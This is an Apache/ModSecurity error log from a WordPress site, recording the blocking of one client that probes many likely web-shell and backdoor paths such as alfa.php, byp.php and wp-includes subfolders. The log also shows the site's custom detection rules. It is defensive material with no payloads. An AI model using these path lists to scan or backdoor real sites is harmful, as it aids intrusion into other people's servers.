[Tue Feb 03 23:17:57.393640 2026] [:error] [pid 5229:tid 5244] [client 20.194.44.29:35018] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aYIRpUKmEgmJub93yUouSgAAAY0"]
[Tue Feb 03 23:18:04.372810 2026] [:error] [pid 28720:tid 28728] [client 20.194.44.29:54416] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/sx.php"] [unique_id "aYIRrGmRXm2bmr_sYib2qwAAAQY"]
[Tue Feb 03 23:18:06.325435 2026] [:error] [pid 43028:tid 43045] [client 20.194.44.29:52990] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/sx.php"] [unique_id "aYIRrlnHWnJD4cJC5DvjJgAAAM8"]
[Tue Feb 03 23:18:08.249977 2026] [:error] [pid 43028:tid 43034] [client 20.194.44.29:55261] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/sx.php"] [unique_id "aYIRsFnHWnJD4cJC5DvjLgAAAMQ"]
[Tue Feb 03 23:18:09.546750 2026] [:error] [pid 42920:tid 42934] [client 20.194.44.29:54442] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/sx.php"] [unique_id "aYIRsSix3YKltG4EU0mqaAAAAAU"]
[Tue Feb 03 23:18:11.591102 2026] [:error] [pid 42921:tid 42980] [client 20.194.44.29:52968] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIRs4blShffGl-01oeehgAAAFY"]
[Tue Feb 03 23:18:12.739297 2026] [:error] [pid 5229:tid 5243] [client 20.194.44.29:10917] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIRtEKmEgmJub93yUouUAAAAYw"]
[Tue Feb 03 23:18:14.382074 2026] [:error] [pid 42921:tid 42979] [client 20.194.44.29:9887] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIRtoblShffGl-01oeeiwAAAFU"]
[Tue Feb 03 23:18:18.045031 2026] [:error] [pid 42921:tid 42961] [client 20.194.44.29:35035] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aYIRuoblShffGl-01oeekAAAAEM"]
[Tue Feb 03 23:18:20.427432 2026] [:error] [pid 28720:tid 28740] [client 20.194.44.29:54923] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYIRvGmRXm2bmr_sYib2ugAAARI"]
[Tue Feb 03 23:18:22.800929 2026] [:error] [pid 5229:tid 5236] [client 20.194.44.29:35033] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYIRvkKmEgmJub93yUouYwAAAYU"]
[Tue Feb 03 23:18:25.488856 2026] [:error] [pid 42920:tid 42932] [client 20.194.44.29:9981] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYIRwSix3YKltG4EU0mqdwAAAAM"]
[Tue Feb 03 23:18:27.898021 2026] [:error] [pid 43028:tid 43033] [client 20.194.44.29:22022] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYIRw1nHWnJD4cJC5DvjWQAAAMM"]
[Tue Feb 03 23:18:29.682734 2026] [:error] [pid 42920:tid 42934] [client 20.194.44.29:9426] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aYIRxSix3YKltG4EU0mqfQAAAAU"]
[Tue Feb 03 23:18:34.444681 2026] [:error] [pid 42922:tid 42995] [client 20.194.44.29:55265] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aYIRymazX4WPS_dQRkjBkwAAAIo"]
[Tue Feb 03 23:18:37.692298 2026] [:error] [pid 42922:tid 42988] [client 20.194.44.29:5360] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aYIRzWazX4WPS_dQRkjBmgAAAIM"]
[Tue Feb 03 23:18:53.681104 2026] [:error] [pid 5229:tid 5248] [client 20.194.44.29:55250] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aYIR3UKmEgmJub93yUoumwAAAZE"]
[Tue Feb 03 23:18:54.651434 2026] [:error] [pid 42921:tid 42980] [client 20.194.44.29:22073] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aYIR3oblShffGl-01oeeuwAAAFY"]
[Tue Feb 03 23:18:56.258910 2026] [:error] [pid 42922:tid 43004] [client 20.194.44.29:8919] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aYIR4GazX4WPS_dQRkjBpAAAAJM"]
[Tue Feb 03 23:18:58.036404 2026] [:error] [pid 43028:tid 43035] [client 20.194.44.29:10924] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aYIR4lnHWnJD4cJC5DvjlgAAAMU"]
[Tue Feb 03 23:18:58.770686 2026] [:error] [pid 42922:tid 43008] [client 20.194.44.29:53949] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIR4mazX4WPS_dQRkjBqAAAAJc"]
[Tue Feb 03 23:19:00.486745 2026] [:error] [pid 5148:tid 5166] [client 20.194.44.29:55243] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aYIR5L83HCHLtUIbS7IRQwAAAU8"]
[Tue Feb 03 23:19:15.998125 2026] [:error] [pid 42920:tid 42946] [client 20.194.44.29:10916] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIR8yix3YKltG4EU0mqvQAAABE"]
[Tue Feb 03 23:19:18.960227 2026] [:error] [pid 43028:tid 43049] [client 20.194.44.29:52960] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIR9lnHWnJD4cJC5DvjvwAAANM"]
[Tue Feb 03 23:19:20.478305 2026] [:error] [pid 42921:tid 42973] [client 20.194.44.29:35042] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIR-IblShffGl-01oee5wAAAE8"]
[Tue Feb 03 23:19:25.042295 2026] [:error] [pid 43028:tid 43054] [client 20.194.44.29:55254] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aYIR_VnHWnJD4cJC5Dvj1QAAANg"]
[Tue Feb 03 23:19:28.588868 2026] [:error] [pid 5229:tid 5233] [client 20.194.44.29:52975] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYISAEKmEgmJub93yUouzwAAAYI"]
[Tue Feb 03 23:19:31.368666 2026] [:error] [pid 42921:tid 42958] [client 20.194.44.29:10921] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYISA4blShffGl-01oee-QAAAEA"]
[Tue Feb 03 23:19:32.079117 2026] [:error] [pid 5229:tid 5233] [client 20.194.44.29:32358] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYISBEKmEgmJub93yUou3AAAAYI"]
[Tue Feb 03 23:19:33.346350 2026] [:error] [pid 42922:tid 43004] [client 20.194.44.29:35064] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aYISBWazX4WPS_dQRkjB3QAAAJM"]
[Tue Feb 03 23:19:34.790165 2026] [:error] [pid 42921:tid 42966] [client 20.194.44.29:10932] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYISBoblShffGl-01oefAwAAAEg"]
[Tue Feb 03 23:19:38.459159 2026] [:error] [pid 42920:tid 42937] [client 20.194.44.29:10917] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYISCiix3YKltG4EU0mqzgAAAAg"]
[Tue Feb 03 23:19:42.930569 2026] [:error] [pid 43028:tid 43034] [client 20.194.44.29:57402] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aYISDlnHWnJD4cJC5DvkBAAAAMQ"]
[Tue Feb 03 23:19:51.358186 2026] [:error] [pid 42921:tid 42972] [client 20.194.44.29:57371] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aYISF4blShffGl-01oefLwAAAE4"]
[Tue Feb 03 23:19:52.221530 2026] [:error] [pid 5148:tid 5161] [client 20.194.44.29:57394] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aYISGL83HCHLtUIbS7IRpAAAAUo"]
[Tue Feb 03 23:19:59.521589 2026] [:error] [pid 42921:tid 42972] [client 20.194.44.29:12329] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aYISH4blShffGl-01oefQQAAAE4"]
[Tue Feb 03 23:20:05.329720 2026] [:error] [pid 42921:tid 42964] [client 20.194.44.29:18851] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aYISJYblShffGl-01oefTQAAAEY"]
[Tue Feb 03 23:20:05.868149 2026] [:error] [pid 42921:tid 42968] [client 20.194.44.29:55273] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYISJYblShffGl-01oefTwAAAEo"]
[Tue Feb 03 23:20:20.605752 2026] [:error] [pid 5148:tid 5172] [client 20.194.44.29:12310] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/css/index.php"] [unique_id "aYISNL83HCHLtUIbS7IR0wAAAVU"]
[Tue Feb 03 23:20:29.304527 2026] [:error] [pid 42920:tid 42943] [client 20.194.44.29:5712] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aYISPSix3YKltG4EU0mrDAAAAA4"]
[Tue Feb 03 23:20:38.428855 2026] [:error] [pid 42922:tid 43002] [client 20.194.44.29:57441] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aYISRmazX4WPS_dQRkjCMAAAAJE"]
[Tue Feb 03 23:20:47.111437 2026] [:error] [pid 5229:tid 5234] [client 20.194.44.29:11995] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aYIST0KmEgmJub93yUovYwAAAYM"]
[Tue Feb 03 23:20:48.431038 2026] [:error] [pid 5148:tid 5172] [client 20.194.44.29:5427] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aYISUL83HCHLtUIbS7ISBQAAAVU"]
[Tue Feb 03 23:21:15.844975 2026] [:error] [pid 28720:tid 28737] [client 20.194.44.29:9835] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aYISa2mRXm2bmr_sYib34QAAAQ8"]
[Tue Feb 03 23:21:17.651793 2026] [:error] [pid 42920:tid 42938] [client 20.194.44.29:16607] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYISbSix3YKltG4EU0mrUwAAAAk"]
[Tue Feb 03 23:21:19.063530 2026] [:error] [pid 28720:tid 28735] [client 20.194.44.29:11609] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYISb2mRXm2bmr_sYib34gAAAQ0"]
[Tue Feb 03 23:21:34.022753 2026] [:error] [pid 5148:tid 5153] [client 20.194.44.29:5158] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aYISfr83HCHLtUIbS7ISSgAAAUI"]
[Tue Feb 03 23:21:35.089750 2026] [:error] [pid 42922:tid 42997] [client 20.194.44.29:5134] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aYISf2azX4WPS_dQRkjCdQAAAIw"]
[Tue Feb 03 23:21:40.712631 2026] [:error] [pid 42921:tid 42975] [client 20.194.44.29:43192] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aYIShIblShffGl-01oef3QAAAFE"]
[Tue Feb 03 23:21:43.001190 2026] [:error] [pid 42920:tid 42946] [client 20.194.44.29:55023] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aYIShyix3YKltG4EU0mreAAAABE"]
[Tue Feb 03 23:21:43.898751 2026] [:error] [pid 42920:tid 42949] [client 20.194.44.29:34208] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aYIShyix3YKltG4EU0mrgAAAABQ"]
[Tue Feb 03 23:22:10.357033 2026] [:error] [pid 42920:tid 42953] [client 20.194.44.29:15032] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aYISoiix3YKltG4EU0mrrwAAABg"]
[Tue Feb 03 23:22:28.608699 2026] [proxy_fcgi:error] [pid 5148:tid 5170] [client 20.194.44.29:5843] AH01071: Got error 'Primary script unknown'
[Tue Feb 03 23:22:30.844052 2026] [:error] [pid 5148:tid 5156] [client 20.194.44.29:5843] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aYIStr83HCHLtUIbS7ISjwAAAUU"]
[Tue Feb 03 23:22:40.054212 2026] [:error] [pid 43028:tid 43053] [client 20.194.44.29:6060] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/radio.php"] [unique_id "aYISwFnHWnJD4cJC5Dvk9wAAANc"]
[Tue Feb 03 23:22:42.366150 2026] [:error] [pid 43028:tid 43034] [client 20.194.44.29:5698] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/radio.php"] [unique_id "aYISwlnHWnJD4cJC5Dvk_wAAAMQ"]
